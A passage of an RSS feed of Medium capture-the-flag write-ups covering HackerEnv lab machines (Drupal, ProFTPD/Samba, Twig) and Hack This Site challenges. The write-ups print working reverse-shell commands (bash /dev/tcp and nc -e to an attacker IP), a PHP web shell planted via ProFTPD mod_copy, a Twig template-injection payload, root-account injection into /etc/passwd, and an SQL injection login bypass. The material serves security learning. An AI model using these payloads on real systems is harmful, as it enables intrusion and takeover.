by</p><blockquote>python drupal.py -t <a href="http://10.0.100.2/">http://10.0.100.2/</a> -u nouf -p n123</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/597/1*vC5P14SgwCD-5SQq0wP3AA.png" /></figure><ul><li>drupal.py has the above script</li><li>-t <a href="http://10.0.100.2/">http://10.0.100.2/</a> is the target</li><li>-u nouf is the username that I want to create</li><li>-p n123 is the password</li></ul><p>By running the script with the needed information, I created an admin account with nouf as a username and n123 as a password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/1*WIAbp64JRWNAs6PWNjcX8Q.png" /></figure><p>So now I am going to log in with my credential and I successfully logged-in</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QmN_L-SCPC_gPdJUMLkfQA.png" /></figure><p>I explored the target and there was not anything in the website, so let’s look to another vulnerabilities, I went to <strong>Modules</strong> to enable PHP filter, PHP filter allows embedded PHP code. I enabled PHP Filter by checking the enabled box</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rNlqB7kbw8ojZzu6vLoL3g.png" /></figure><p>Then I scrolled down to hit Save configuration</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hJQdzr4WVUVzYfEhX0sAEA.png" /></figure><p>Next, I selected <strong>Permissions</strong> off to the right of the PHP filter module:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w1jhUjIasQcy-HfmecDTSw.png" /></figure><p>I gave rights to Administrator by checking the boxes in <strong>use the PHP code text format</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PRw4Zybypox0971wGkivxQ.png" /></figure><p>Again, scrolled down to the bottom to hit Save Configuration.</p><p>After that, I went to the toolbar and chose Content</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/550/1*fCJNgv1Cs11vzuZeXuuROg.png" /></figure><p>then Add content &gt; basic page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*piGkQC9Id8GkFCTnRjDF-g.png" /></figure><p>I created a Basic page and before I jumped to a full-on reverse shell, let’s see if I can render phpinfo by writing</p><blockquote>&lt;? phpinfo(); ?&gt;</blockquote><p>Prior to hitting save or preview, I needed to change the Text format to <strong>PHP code</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/1*hU3ZXatopAeJFgfAXH5rTg.png" /></figure><p>then pressed preview</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YjtsemSeKrbBaDIHwlxxyw.png" /></figure><p>Excellent! I was rendering PHP. Now let’s move to reverse shell</p><p>Again, go to Content from toolbar &gt; Add content &gt; basic page and write</p><blockquote>&lt;?php<br>exec(“/bin/bash -c ‘bash -i &gt; /dev/tcp/10.10.1.22/8000 0&gt;&amp;1’”);<br>?&gt;</blockquote><ul><li>Put <strong>your IP </strong>instead of 10.10.1.22</li><li>Put <strong>your chosen port</strong> instead of 8000</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*mKzxNt0P4JPuhiDke9DI-A.png" /></figure><p>and do not forget to change the text format to<strong> PHP code</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/439/1*DpTpuHIj7Yvt_ZHdmr4nmg.png" /></figure><p>Before I hit preview, I opened the listener by</p><blockquote>nc -lvp 8000</blockquote><ul><li>listening port <strong>MUST match</strong> the one in the previous picture</li></ul><p>then I pressed preview and I gained a shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/488/1*9BHT_ngrBB27pcTgGGoqXA.png" /></figure><p>by going to /var/www, I got first flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/137/1*ZH0pddRycVLZG6GLNoQqcA.png" /></figure><p>Now, it is a time to gain root to gain the second flag, I explored the machine by</p><blockquote>ls -la</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/619/1*5jYXCWebrZE3HIFYBpnXSQ.png" /></figure><p>and I found <strong>.cleaningScript.sh</strong> with a written permission, let’s see what is has by</p><blockquote>cat .cleaningScript.sh</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/302/1*YvLWTKc_1n5sSXbifUaP0Q.png" /></figure><p>Let’s write in it to get a root by</p><blockquote>echo “nc 10.10.1.22 8001 -e /bin/bash” &gt; .cleaningScript.sh</blockquote><ul><li>10.10.1.22 is my IP</li><li>8001 is the port the I am going to listen to</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/517/1*BpBRKlXAHmRuFcp94nbEuQ.png" /></figure><p>Before writing in it, make sure you opened a listener in port 8001</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/485/1*g3rCYZF2d8MqOQsUMeep1Q.png" /></figure><p>Bingo, I am a root now, so by</p><blockquote>ls -la</blockquote><p>the second flag appeared</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/462/1*vCqvZ6cTgB8_pbNaSSXPKQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=362fce756a17" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackerEnv Target: samba#4 Write Up]]></title>
            <link>https://enaljammaz.medium.com/hackerenv-target-samba-4-write-up-a6054e0d1a9?source=rss-83ebbf1ee715------2</link>
            <guid isPermaLink="false">https://medium.com/p/a6054e0d1a9</guid>
            <dc:creator><![CDATA[Nouf]]></dc:creator>
            <pubDate>Tue, 03 Nov 2020 14:27:11 GMT</pubDate>
            <atom:updated>2020-11-03T14:31:38.706Z</atom:updated>
            <content:encoded><![CDATA[<p>Let’s do <strong>Samba Machine </strong>in this write up.</p><p>As always, started with nmap to figure open ports</p><blockquote>nmap -sT -A -p- -T5 10.0.101.2</blockquote><p>* 10.0.101.2 is samba IP</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/661/1*wDL4ZNXJGIt4YR4AHOvalQ.png" /></figure><p>we got 21 open and running ProFTPD 1.3.5!</p><blockquote>ProFTPD 1.3.5 is vulnerable, it has mod_copy module which allows remote attackers to read and write to arbitrary files via the site cpfr and site cpto commands. Any unauthenticated client can leverage these commands to copy files from any part of the filesystem to a chosen destination.</blockquote><p>Let’s take advantage of this vulnerability, I started by initiating a FTP connection and press <strong>enter </strong>when it asked about username and password</p><blockquote>ftp 10.0.101.2</blockquote><p>I started by trying to copy the content of /etc/passwd by</p><blockquote>site cpfr /etc/passwd</blockquote><p>and paste it in the upload directory by</p><blockquote>site cpto /var/www/html/upload/nouf</blockquote><ul><li>/var/www/html/upload is writable directory in the target</li><li>nouf is the file the I pasted password in it.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/1*mFocD3wfyGpgZi4yPf9eng.png" /></figure><p>By visiting the /upload, my password file is there “nouf”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/874/1*8cHZGFK-OHFQNa7vtCHxuA.png" /></figure><p>so I opened it to see its content and bengoo</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/1*lwfnSWK7h0fUuK1FzjUcqQ.png" /></figure><p>As it is stated in the instruction’ page, the flags will be in these two directories.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*xF_gY14xIa4rmBbY7vSapQ.png" /></figure><p>I will start with the user flag, I will copy the content of /var/www by</p><blockquote>site cpfr /var/www</blockquote><p>and paste it in the website by</p><blockquote>site cpto /var/www/html/upload/userflag</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/538/1*-0HaS16JgipS28zfskdNdQ.png" /></figure><p>and here is userflag folder which has the content of /var/www</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/490/1*8NhJctR87lEfuApeR6v4Ag.png" /></figure><p>I opened userflag folder and user flag appeared</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*f8aHw6n2AlFR8gYX0UNg-Q.png" /></figure><p>so now we want root flag, and we will absolutely need root privilege to obtain it. Let’s have an access to the machine by uploading an executable php file</p><blockquote>site cpfr /proc/self/cmdline<br>site cpto /tmp/. &lt;?php echo passthru($_GET[‘cmd’]); ?&gt;<br>site cpfr /tmp/. &lt;?php echo passthru($_GET[‘cmd’]); ?&gt;</blockquote><blockquote>site cpto /var/www/html/upload/en.php</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/580/1*07_sL6CYZzABdu2_-jhKSQ.png" /></figure><p>and now let’s visit en.php file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/457/1*XiUsOHC0Lq26enU-rslSXQ.png" /></figure><p>To make sure it is working, I tested it by cmd=id and I received answer</p><blockquote>10.0.101.2/upload/en.php?cmd=id</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/835/1*SMCbFhatJ1NckaCtU03ZDg.png" /></figure><p>let’s have a connection by opening a listener in my machine</p><blockquote>sudo nc -lvp 8000</blockquote><ul><li>8000 is the port, you can choose any number</li></ul><p>and in the website I wrote my IP</p><blockquote>10.0.101.2/upload/en.php?cmd=nc%2010.10.1.22%208000%20-e%20/bin/bash</blockquote><ul><li>%20 means space</li></ul><blockquote>cmd=nc 10.10.1.22 8000 -e /bin/bash</blockquote><ul><li>10.10.1.22 is my IP</li><li>8000 is the port</li><li>-e /bin/bash</li></ul><p>After having a connection, I will look to a way to take root privilege</p><p>I explored using</p><blockquote>find / -perm /4000 2&gt;/dev/null</blockquote><p>and /sbin/runas appeared</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/438/1*oyvDaVtPzYpF3a8ngbhgGQ.png" /></figure><p>I figured out that any command you run with /sbin/runas will give you a root</p><blockquote>/sbin/runas id</blockquote><p>so I ran</p><blockquote>/sbin/runas /bin/bash</blockquote><p>and YES I am a root now</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/495/1*kZ9zrWgeLREmzF9VjFEupw.png" /></figure><p>so I obtained the root flag by</p><blockquote>ls /root</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a6054e0d1a9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackerEnv Target: twig #3 Write Up]]></title>
            <link>https://enaljammaz.medium.com/hackerenv-target-twig-3-write-up-8e13c68aa62?source=rss-83ebbf1ee715------2</link>
            <guid isPermaLink="false">https://medium.com/p/8e13c68aa62</guid>
            <dc:creator><![CDATA[Nouf]]></dc:creator>
            <pubDate>Sun, 01 Nov 2020 19:04:17 GMT</pubDate>
            <atom:updated>2020-11-01T19:04:17.989Z</atom:updated>
            <content:encoded><![CDATA[<p>And I back with a new beautiful platform.</p><p>Let’s do <strong>Twig Machine </strong>in this write up.</p><p>As always, started by nmap</p><blockquote>nmap -sT -sT -A -p- -T5 10.0.101.1</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/1*P4L8qu9YkChzC9pqD7liqQ.png" /></figure><p>We only got one opened port! let’s explore that and dig into it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rLn4aTvNDG6qDDDjKj6agQ.png" /></figure><p>we got a form, I submitted a normal request and the form returned my name in the response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C7BIaHqweazh3VlvL7Fw-g.png" /></figure><p>let’s read source code to collect more information. No thing is attractive in the source code, except this comment</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/997/1*NBGzM33DwOYyNUqhG9RsEA.png" /></figure><p>By googling Twig, you will understand that <strong>Twig is a Server Side Template Injection.</strong></p><p><em>This vulnerability allows attackers to execute commands within the Parameters, by just using {{COMAND TO EXECUTE}} instead of using the expected values.</em></p><p>Let’s try and see if I can execute or not, I will submit 4*4 and see if it will execute the multiplication and return 16 or not</p><blockquote>I wrote {{4*4}} instead of my name</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/357/1*oi3CaLt2iiF7h6YPDPHqpQ.png" /></figure><p>I intercepted the request by Burp Suite and sent it to the Repeater, and Bingoo 16 is there</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/584/1*HVPnk_aU31KwUYvpW-yQ1A.png" /></figure><p>so the vulnerability exists, let’s take advantage of it, I sent the below in the user field to know the id</p><blockquote>{{_self.env.registerUndefinedFilterCallback(“exec”)}}{{_self.env.getFilter(“id”)}}</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*f9_-8JSNJ-gz474BxLTCTQ.png" /></figure><p>let’s do a connection to explore the machine more,</p><p>I opened a listener from my machine by</p><blockquote>nc -lvnp 8000</blockquote><ul><li>8000 is the port that I am going to listen to, you can choose any number</li></ul><p>I connected to it by sending nc+-e+/bin/bash+ <strong><em>MY IP</em></strong>+ <strong><em>PORT</em></strong> as a user</p><p>GET /?User={{_self.env.registerUndefinedFilterCallback(“exec”)}}{{_self.env.getFilter(“nc+-e+/bin/bash+10.10.1.22+8000”)}}&amp;PhoneNumber=1&amp;submit=Submit</p><ul><li>Put your IP and port instead of mine</li></ul><p>After having the connection, I explored the machine by</p><blockquote>ls -l</blockquote><p>and found the first flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NcxnO0z04iJwvNxC7pdYcg.png" /></figure><p>I explored the machine and there was not anything interesting, so privilege escalation came to my mind, I went to /etc/passwd to see if I could write on it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/1*uGO1WRHFcuDTkNLvMa8bjQ.png" /></figure><p>and yess it is writeable</p><p>so now I am going to create a root account for me by</p><blockquote>echo “nouuf::0:0:root:/root:/bin/bash” &gt;&gt; /etc/passwd</blockquote><ul><li>nouuf is the username, you can put whatever you want instead.</li></ul><p>after creating the account, print passwd field content to see your account by</p><blockquote>cat /etc/passwd</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*5A-CSlk5l1kmHa9oTdsXGA.png" /></figure><p>so let’s switch to the ROOT account by</p><blockquote>su nouuf</blockquote><ul><li>su username</li></ul><p>Switching was not working with me, so I decided to improve my shell to know what is going on by</p><blockquote>python3 -c “import pty; pty.spawn(‘/bin/bash’);”</blockquote><p>When I disconnected and connect again, privilege escalation WORKS</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/447/1*xS0DXKXofadwNLso_xS6IQ.png" /></figure><p>so listing with root privilege will give you the second flag</p><blockquote>ls -l /root</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8e13c68aa62" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack This Site! Realistic missions: Basic 2]]></title>
            <link>https://enaljammaz.medium.com/hack-this-site-realistic-missions-basic-2-2dbb143b3674?source=rss-83ebbf1ee715------2</link>
            <guid isPermaLink="false">https://medium.com/p/2dbb143b3674</guid>
            <category><![CDATA[hack-this-site]]></category>
            <category><![CDATA[challenge]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Nouf]]></dc:creator>
            <pubDate>Sat, 17 Oct 2020 09:46:44 GMT</pubDate>
            <atom:updated>2020-10-17T09:46:44.649Z</atom:updated>
            <content:encoded><![CDATA[<p>Level 2</p><p><strong>Challenge:</strong></p><p>Message: I have been informed that you have quite admirable hacking skills. Well, this racist hate group is using their website to organize a mass gathering of ignorant racist bastards. We cannot allow such bigoted aggression to happen. If you can gain access to their administrator page and post messages to their main page, we would be eternally grateful.</p><p><strong>Solution:</strong></p><p>nothing is attracted in the page, so I went to the source code and found update.php and it was a login page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CwJCy62tOxq6zJBNJd8piQ.png" /></figure><p>I do not have any credentials so SQL Injection came to my mind, and bingo it is vulnerable</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/510/1*W9if0VpWCgUH8CKReYuMCA.png" /></figure><p>so I logged successfully in with ‘ OR ‘a’=’a as username and password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/378/1*HW760_7Z175sXBz6K7nCTA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2dbb143b3674" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack This Site! Realistic missions: Basic 1]]></title>
            <link>https://enaljammaz.medium.com/hack-this-site-realistic-missions-basic-1-2ccbbaa25ea6?source=rss-83ebbf1ee715------2</link>
            <guid isPermaLink="false">https://medium.com/p/2ccbbaa25ea6</guid>
            <category><![CDATA[hack-this-site]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[challenge]]></category>
            <dc:creator><![CDATA[Nouf]]></dc:creator>
            <pubDate>Sat, 17 Oct 2020 09:30:15 GMT</pubDate>
            <atom:updated>2020-10-17T09:30:15.343Z</atom:updated>
            <content:encoded><![CDATA[<p>Level 1</p><p><strong>Challenge:</strong></p><p>Message: Hey man, I need a big favour from you. Remember that website I showed you once before? Uncle Arnold’s Band Review Page? Well, a long time ago I made a $500 bet with a friend that my band would be at the top of the list by the end of the year. Well, as you already know, two of my band members have died in a horrendous car accident… but this ass hole still insists that the bet is on!</p><p>I know you’re good with computers and stuff, so I was wondering, is there any way for you to hack this website and make my band on the top of the list? My band is Raging Inferno. Thanks a lot, man!</p><p><strong>Solution:</strong></p><p>Started by doing a regular voting, and intercepted the request to see how it is sent</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/893/1*8ODdvNrrmcVC7Za_7XrDUw.png" /></figure><p>As you can see, GET method is used. Therefore, changing the voting to 9999999 instead of 1 will solve the challenge</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/839/1*zQsesOwzApYlQl7S5TlTgA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2ccbbaa25ea6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack This Site! Basic Missions: Basic 11]]></title>
            <link>https://enaljammaz.medium.com/hack-this-site-basic-missions-basic-11-1f45cdace99c?source=rss-83ebbf1ee715------2</link>
            <guid isPermaLink="false">https://medium.com/p/1f45cdace99c</guid>
            <category><![CDATA[challenge]]></category>
            <category><![CDATA[hack-this-site]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Nouf]]></dc:creator>
            <pubDate>Sat, 17 Oct 2020 09:25:21 GMT</pubDate>
            <atom:updated>2020-10-17T09:25:21.372Z</atom:updated>
            <content:encoded><![CDATA[<p>Level 11</p><p><strong>Challenge:</strong></p><p>Sam decided to make a music site. Unfortunately he does not understand Apache. This mission is a bit harder than the other basics.</p><p><strong>Solution:</strong></p><p>Started by using dirb</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*0eMU3trOnaQsO2xWCmOfKg.png" /></figure><p>By visiting index.php, an input field is there! visiting the rest of the directories, I got a good start on /e directory</p><p>I got 1,t,o and the last one was n, I accessed all of these and there was not any protection!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/841/1*yFjOHc7LGRiTXai9cMSybA.png" /></figure><p>So I tried typing .htaccess and I got this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*TrxzK1FANFnYIzFtKsIQ4A.png" /></figure><p>I went to DaAnswer directory, and Bingo the answer was there.</p><p>Took the answer and submit it in the index.php page</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1f45cdace99c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack This Site! Basic Missions: Basic 10]]></title>
            <link>https://enaljammaz.medium.com/hack-this-site-basic-missions-basic-10-92d6abe4e944?source=rss-83ebbf1ee715------2</link>
            <guid isPermaLink="false">https://medium.com/p/92d6abe4e944</guid>
            <dc:creator><![CDATA[Nouf]]></dc:creator>
            <pubDate>Fri, 17 Apr 2020 17:10:49 GMT</pubDate>
            <atom:updated>2020-04-17T17:10:49.760Z</atom:updated>
            <content:encoded><![CDATA[<p>Level 10</p><p><strong>Challenge:</strong></p><p><strong>Enter password</strong><br>Please enter a password to gain access to level 10</p><p><strong>Solution:</strong></p><p>All what you have to do is that capture the request and you will notice that “authorization = no” change it to “yes” and you will be authorized!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/544/1*99OA2hPRLd6HptkUO9OIpw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=92d6abe4e944" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CyberTalents, Web Challenge: The Restricted Sessions]]></title>
            <link>https://enaljammaz.medium.com/cybertalents-web-challenge-the-restricted-sessions-6f1a816ff0e3?source=rss-83ebbf1ee715------2</link>
            <guid isPermaLink="false">https://medium.com/p/6f1a816ff0e3</guid>
            <category><![CDATA[cyber-talents]]></category>
            <dc:creator><![CDATA[Nouf]]></dc:creator>
            <pubDate>Fri, 10 Apr 2020 17:18:57 GMT</pubDate>
            <atom:updated>2020-04-10T17:18:57.179Z</atom:updated>
            <content:encoded><![CDATA[<p>Flag is restricted to logged users only , can you be one of them.</p><p>By visiting the website, I got this!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/909/1*kDah3Y6Ih2a2ZRFwScc1Og.png" /></figure><p>So this is a hint that we have to deal with cookies, I visited the source code and I got this great information</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*5rjYUlKIWAQTK-Pl33q-0Q.png" /></figure><p>so the source code gave me that</p><p>the cookie name: PHPSESSID</p><p>value: [^;]+)/</p><p>just putting these in the cookie’ browser (web developer extension)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*gSSEoOCDgrz57cE6AW8CkA.png" /></figure><p>I got this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/534/1*ID3WGNMXTbakC67fkwx68Q.png" /></figure><p>Go to the directory gave me these three session’s values</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*MYaS4MPmPH2nnZp2dMQiPA.png" /></figure><p>I tried to test them as a value and I got this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*3svwbju8e1xfDIz7yZdrYg.png" /></figure><p>So I went to the buirp suite and try to send the cookie in the body, the result of this gave me the valid user name which is mary</p><p>Sending the new cookie’s user &amp; value gave me the flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BoS3yOA2v3mSYoDG9l_Ynw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6f1a816ff0e3" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>